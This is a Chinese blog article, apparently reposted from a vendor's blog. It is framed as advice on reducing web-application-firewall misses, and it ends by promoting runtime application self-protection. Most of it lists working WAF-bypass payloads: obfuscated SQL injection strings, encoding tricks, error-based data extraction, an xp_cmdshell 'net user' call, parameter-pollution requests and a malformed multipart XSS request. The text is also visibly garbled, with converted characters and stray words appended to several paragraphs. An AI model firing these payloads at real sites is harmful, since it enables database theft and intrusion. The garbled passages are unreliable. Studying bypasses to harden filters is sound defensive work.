减小 WAF 漏报的 8 种方法 !

近十年来,WAF 已经逐渐发展成熟,被软件行业接受并成为无数企业保护应用的不二选择。不少大型企业甚至相继亲自设计或经过并购涉足其中,在这个硕大的市场里逐鹿竞争,同时也推进了应用层防火墙的技术演进。php

与传统防火墙工做在传输层或网络层不一样,WAF 工做在应用层,基于对 Web 应用业务和逻辑的理解,WAF 对各种请求进行内容检测和验证,能够作到实时阻断非法的请求,从而对各种网站应用进行有效保护。html

然而道高一尺,魔高一丈。现代黑客的技术水平也在突飞猛进,零日攻击早已不是新鲜事,WAF 作为把守应用安全的重要一关难逃此劫。从原理上讲,WAF 实施的仍是基于协议理解+内容正则匹配的工做方式,当企业应用代码更新时,亦要及时更新规则集,避免误报形成业务中断;在另外一方面,企业须要有个跟踪安全动态的方案,以期当形形色色新的攻击方式出现时,能够第一时间更新规则集,不然就有可能被黑客钻了空子形成损失。所以,误报和漏报是悬在应用 WAF 保护的企业头顶的两把利刃,尤为之后者为甚。正则表达式

要解决这两个问题,简而言之:前者须要增长研发投入,将 WAF 规则集更新归入正常的研发流程管理起来;后者的基本思路则是吃透 WAF,知己知彼,百战不殆。想了解怎样防先要知道对手可能怎样攻。在此,我想尝试着列举一下企业能够在哪些方面下功夫使 WAF 变得更加靠谱,减小漏报。这其中包括我的的经验,也包括一些网友分享的经验,以飨读者。sql

1,大小写混排

这能够算最容易想到的方式了。大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式 /express/i 大小写不敏感即没法绕过,这是最简单的绕过技术。数据库

举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4express

减小漏报方法:对每一个关键字或每种状况都作大小写转换的处理。浏览器

2,替换关键字

这种状况下大小写转化没法绕过,并且正则表达式会替换或删除 select、union 这些关键字,若是只匹配一次就很容易绕过。安全

举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4服务器

减小漏报方法:这种替换能够构造得更复杂:SeLSeselectleCTecT,设计循环匹配逻辑才能够封堵住。网络

3,对一些攻击特征串进行不一样的编码

如 URL 编码,ASCII,Unicode 等,使用一些非标准的编码很容易就能够绕过 WAF。

  1. URL 编码
    在 Chrome 中输入一个链接,非保留字的字符浏览器会对其 URL 编码,如空格变为%20、单引号%2七、左括号%2八、右括号%29

普通的URL编码可能没法实现绕过,还存在一种状况URL编码只进行了一次过滤,能够用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

  1. 十六进制编码
    举例:

z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来讲较少见一点。

  1. Unicode编码
    Unicode有所谓的标准编码和非标准编码,假设咱们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了。

看一下经常使用的几个符号的一些Unicode编码:

  • 单引号: %u002七、%u02b九、%u02bc、 %u02c八、 %u203二、 %uff0七、 %c0%2七、 %c0%a七、 %e0%80%a7

  • 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

  • 左括号:%u002八、%uff0八、%c0%2八、%c0%a八、%e0%80%a8

  • 右括号:%u002九、%uff0九、%c0%2九、%c0%a九、%e0%80%a9

举例:?id=10%D6‘%20AND%201=2%23 SELECT ‘Ä’=’A’; #1

两个示例中,前者利用双字节绕过,好比对单引号转义操做变成 \’,那么就变成了 %D6%5C’,%D6%5C 构成了一个双字节即 Unicode 字节,单引号能够正常使用。

第二个示例使用的是两种不一样编码的字符的比较,它们比较的结果多是 True 或者 False ,关键在于 Unicode 编码种类繁多,基于黑名单的过滤器没法处理全部状况,从而实现绕过。

另外平时听得多一点的多是 utf-7 的绕过,还有 utf-1六、utf-32 的绕过,后者曾成功的实现对 google 的绕过,有兴趣的朋友能够去了解下。

减小漏报方法:暂无,有待调研

4,使用注释

看一下常见的用于注释的符号有哪些://, — , /**/, #, –+,– -, ;,–a

  1. 普通注释

    举例:```z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4

    ‘union%a0select pass from users#`

/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别; #、–+ 用于终结语句的查询
  • 内联注释
    相比普通注释,内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别

举例:`index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…`

两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个颇有用的作法即是对关键字的拆分,要作到这一点后面讨论的特殊符号也能实现,固然前提是包括/、*在内的这些字符能正常使用。

减小漏报方法:增长 WAF 匹配规则对注视的支持

5,等价函数与命令

有些函数或命令因其关键字被检测出来而没法使用,可是在不少状况下可使用与之等价或相似的代码替代其使用。

  1. 函数或变量

    hex()、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()

举例:

substring()和substr()没法使用时:?                                                            id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
        或者:substr((select ‘password’),1,1) = 0×70
        strcmp(left(‘password’,1), 0×69) = 1
        strcmp(left(‘password’,1), 0×70) = 0
        strcmp(left(‘password’,1), 0×71) = -1

上述这几个示例用于说明有时候当某个函数不能使用时,还能够找到其余的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论。

  1. 符号
    and和or有可能不能使用,或者能够试下&&和||能不能用;还有=不能使用的状况,能够考虑尝试,由于若是不小于又不大于,那边是等于了

在看一下用得多的空格,可使用以下符号表示其做用:%20 %09 %0a %0b %0c %0d %a0 /**/

  1. 生僻函数

    MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘’,’/script/@x/’,’src=//evil.com’);
        ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
        SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt(1)’as         \117n\x65rror)); //postgresql
        ?id=1 and extractvalue(1, concat(0x5c, (select table_name from         information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它们都有许多本身的函数,基于黑名单的filter要想涵盖这么多东西从实际上来讲不太可能,并且代价太大,看来黑名单技术到必定程度便遇到了限制。

减小漏报方法:增长WAF规则集的匹配支持

6,特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多。

先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:

  • 使用反引号`,例如select `version()`,能够用来过空格和正则,特殊状况下还能够将其作注释符用

  • 神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串链接的,”-”和”.”在此也用于链接,能够逃过空格和关键字过滤

  • @符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

  • Mysql function() as xxx 也可不用as和空格, select-count(id)test from users; //绕过空格限制

可见,使用这些字符的确是能作不少事,也证明了那句老话,只有想不到,没有作不到。
本人搜罗了部分可能发挥大做用的字符(未包括’、*、/等在内,考虑到前面已经出现较屡次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00

举例:

关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)
!和():’ or –+2=- -!!!’2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也能够作分隔

本节最后给出一些和这些字符多少有点关系的操做符供参考:

>>, <<, >=,,,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用这些”特殊符号”实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不同的,另外一方面你得充分了解这些符号的特性和使用方法才能做为绕过手段。

减小漏报方法:增长WAF规则集的匹配支持

7,HTTP参数控制

这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制

  1. HPP(HTTP Parameter Polution)

    举例:/?id=1;select+1,2,3+from+users+where+id=1—
        /?id=1;select+1&id=2,3+from+users+where+id=1—
        /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP又称作重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种状况,不一样的Web服务器处理方式以下:
具体WAF如何处理,要看其设置的规则,不过就示例中最后一个来看有较大可能绕过。

  1. HPF(HTTP Parameter Fragment)
    这种方法是HTTP分割注入,同CRLF有类似之处(使用控制字符%0a、%0d等执行换行)

举例:

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users–
    select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

看罢上面两个示例,发现和HPP最后一个示例很像,不一样之处在于参数不同,这里是在不一样的参数之间进行分割,到了数据库执行查询时再合并语句。

  1. HPC(HTTP Parameter Contamination)
    这一律念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination一样意为污染。

RFC2396定义了以下一些字符:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
    Reserved : ; / ? : @ & = + $ ,
     Unwise : { } | \ ^ [ ] `

不一样的Web服务器处理处理构造得特殊请求时有不一样的逻辑:
以魔术字符%为例,Asp/Asp.net会受到影响

减小漏报方法:增长WAF规则集的匹配支持

8,缓冲区溢出(Advanced)

缓冲区溢出用于对付WAF,有很多WAF是C语言写的,而C语言自身没有缓冲区保护机制,所以若是WAF在处理测试向量时超出了其缓冲区长度,就会引起bug从而实现绕过。

举例:

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,通常来讲对应用软件构成缓冲区溢出都须要较大的测试长度,这里1000只作参考,在某些状况下可能不须要这么长也能溢出

此外,有时把使用GET方法的攻击转换成使用POST方法的攻击可能会避开某些过滤。由于许多应用程序只针对某种类型的请求执行过滤,如GET请求,阻止已知的攻击字符串。若是一个应用程序但愿收到使用GET方法的请求,使用POST请求就能够彻底避开这种过滤。

再来看一个因没有正确解析HTTP Request数据包致使的WAF绕过,触发一个XSS:

POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
<script>alert(1)</script>
–0000–

正常的HTTP应该是以下:

POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=”upfile”; filename=”payload”
<script>alert(1)</script>
–0000–

对比上面俩个 HTTP 头,给咱们提供了 WAF 绕过的思路——修改攻击特征串或 HTTP 中的一细节,让 WAF 没法解析或者解析错误致使绕过。(许多 WAF 对没法解析的 HTTP 头,默认直接 BYPASS,所以要考虑在配置上针对这种状况作严格过滤)

以上列举了八种绕过 WAF 的方式,通常的解决方案无外乎增长 WAF 规则集的匹配支持,看下来心情想必是不轻松的(也是够长,累,值得赞扬),可见吃透 WAF 和堵住 WAF 漏洞非一日之功可及。在这个快节奏的时代有没有另辟蹊径的思路呢?既然想到了,那搜索以后答案也是确定的——它就是下一代安全防御机制“运行时应用自我保护”(RASP)。

为何说 RASP 能够帮助企业摆脱 WAF 这种累死人不偿命的解决方案呢?

举个例子也许你们就明白了。RASP 一般使用探针技术来嵌入应用,而发挥防御做用的正是探针。不像 WAF 使用旁路监听或前置等方式在门外站岗,探针运行在应用的执行环境内部,就像白细胞之于人体通常将恶意攻击拦截消灭。例如 SQL 注入攻击请求尝试以任意用户身份渗透进入数据库,在请求到达应用内部试图调用 JDBC 接口时,值班的探针就能够监测到这个异常请求,并在数据库操做执行以前将其拦下。这种工做方式相似守在金库入口的保安,是明显区别于在外围筑城墙并在城门洞设安检每过必查的 WAF 治安警察的。

若是你们理解了这种拦截方式,就会想到,RASP 的保护依赖对各类调用接口的适配。或许有人会质疑,这不是依然在走 WAF 的老路么?个人回答是此路非彼路。RASP 须要适配的接口是通用接口,并且是面向数据资源的接口(源于数据的价值),是企业搭建业务上层建筑依赖的底层基础,而非变幻无穷的业务接口,因此 RASP 跟踪并适应行业变化的速度是WAF等传统防御理念没法企及的。

尽管听起来看上去形式类似,但有本质区别。诚然, RASP 和 WAF 都要理解并识别恶意请求的攻击代码,从而进行正则匹配和识别,因此两者在这个工做量上都很多。但 RASP 天生的地缘优点决定,近水楼台先得月,凭借对应用执行逻辑的上下文理解,RASP 比 WAF 更有机会去学习如何更好地抵御恶意攻击,这也是新应用安全架构经常提到的自适应一词的部分含义。并且万变不离其宗,多样的外部攻击字符串到了金库门口的时候,表现形式无非就是几种操做,这使得 RASP 花在匹配攻击字符串上的开销确定比 WAF 要少。

总结一下,RASP 能够给企业应用带来基因上的改变,在不须要应用修复漏洞的条件下提供保护,并免去了 WAF 繁杂又频繁的配置和维护成本,给企业安全领域带来实质价值的同时,开启了新的想象空间,解决零日攻击也随之变得并不是天方夜谭。

参考资料:
WAF防御机制和绕过 http://blog.levsonsafe.com/?p=360
浅谈WAF绕过 http://netsecurity.51cto.com/art/201212/374068.htm

本文系 OneASP 质量架构工程师王新泉原创文章。现在,多样化的攻击手段层出不穷,传统安全解决方案愈来愈难以应对网络安全攻击。OneRASP 实时应用自我保护技术,能够为软件产品提供精准的实时保护,使其免受漏洞所累。想阅读更多技术文章,请访问 OneAPM 官方技术博客

本文转自 OneAPM 官方博客

相关文章
相关标签/搜索